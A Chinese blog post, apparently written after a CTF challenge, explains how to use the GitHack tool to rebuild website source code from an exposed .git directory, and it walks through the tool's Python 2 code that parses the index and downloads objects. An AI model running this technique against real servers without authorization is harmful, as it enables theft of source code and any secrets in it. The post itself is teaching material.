当前位置:   article > 正文

GitHack工具使用与简单源码分析

githack

0x01 背景

在bugku做ctf时遇到一题web。
在这里插入图片描述
提示有文件备份,用御剑目录扫描没有结果,自己又尝试了一些可能的目录,均以失败告终。挣扎半天,无奈查看writeup,发现需要使用Githack工具。之前了解一些github泄露,但这种泄露还是头一次听说。

0x02 工具使用

简介

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。
  • 1
  • 2
  • 3

工具使用较简单:

python2 Githack.py http://123.206.31.85:10014/.git/

通过源码可以看到必须要加上.git,否则就会报404.
在这里插入图片描述
在这里插入图片描述
源码下载完成会在当前位置生成ip命名的目录。

0x03 简单源码分析

.git的目录结构

├─hooks
├─info
├─logs
│  └─refs
│      ├─heads
│      └─remotes
│          └─origin
├─objects
│  ├─03
│  ├─06
│  ├─27
│  ├─28
│  ├─58
│  ├─5a
│  ├─60
│  ├─61
│  ├─ab
│  ├─ae
│  ├─af
│  ├─info
│  └─pack
|─refs
    ├─heads
    ├─remotes
    │  └─origin
    └─tags
根目录下还有config,discription,head,index等文件
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

源码不复杂,简单分析:

main函数很简单,调用scan函数

if __name__ == '__main__':
    s = Scanner()
    s.scan()
    try:
        while s.thread_count > 0:
            time.sleep(0.1)
    except KeyboardInterrupt, e:
        s.STOP_ME = True
        time.sleep(1.0)
        print 'User Aborted.'

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

构造函数

def __init__(self):
        self.base_url = sys.argv[-1]
        self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
        if not os.path.exists(self.domain):
            os.mkdir(self.domain)
        print '[+] Download and parse index file ...'
        data = self._request_data(sys.argv[-1] + '/index')#请求index数据
        with open('index', 'wb') as f:
            f.write(data)
        self.queue = Queue.Queue()
        for entry in parse('index'):#解析index的函数
            if "sha1" in entry.keys():
                self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
                try:
                    print entry['name']
                except Exception as e:
                    pass
        self.lock = threading.Lock()
        self.thread_count = 20  <---------#默认线程20
        self.STOP_ME = False

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

这里的parse是一个解析index的函数,返回一个有序字典。

scan,默认开启20个线程

def scan(self):
        for i in range(self.thread_count):#self.thread_count默认为20
            t = threading.Thread(target=self.get_back_file)
            t.start()

  • 1
  • 2
  • 3
  • 4
  • 5

get_back_file

def get_back_file(self):
        while not self.STOP_ME:
            try:
                sha1, file_name = self.queue.get(timeout=0.5)
            except Exception as e:
                break
            for i in range(3):#重复三次 避免网络延迟
                try:
                    folder = '/objects/%s/' % sha1[:2]
                    data = self._request_data(self.base_url + folder + sha1[2:])#到.git/object/下获取文件
                    try:
                        data = zlib.decompress(data)#打包文件
                    except:
                        self._print('[Error] Fail to decompress %s' % file_name)
                    data = re.sub(r'blob \d+\00', '', data)
                    target_dir = os.path.join(self.domain, os.path.dirname(file_name))
                    if target_dir and not os.path.exists(target_dir):
                        os.makedirs(target_dir)
                    with open(os.path.join(self.domain, file_name), 'wb') as f:
                        f.write(data)
                    self._print('[OK] %s' % file_name)
                    break
                except urllib2.HTTPError, e:
                    if str(e).find('HTTP Error 404') >= 0:
                        self._print('[File not found] %s' % file_name)
                        break
                except Exception as e:
                    self._print('[Error] %s' % str(e))
        self.exit_thread()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

这里从object文件夹里取得以sha1最后两位命名的文件夹内容,进行打包,随后进行正则匹配删除一些字符,写入文件。

0x04 总结

整体原理

1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
2、去.git/objects/ 文件夹下下载对应的文件
3、zlib解压文件,按原始的目录结构写入源代码
  • 1
  • 2
  • 3

由于git还不算太了解,对一些文件的存储格式和规则还不是太清楚。只是简单分析,后面有机会会完善。

0x05 参考

https://www.freebuf.com/sectool/66096.html

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/173675
推荐阅读
相关标签
  

闽ICP备14008679号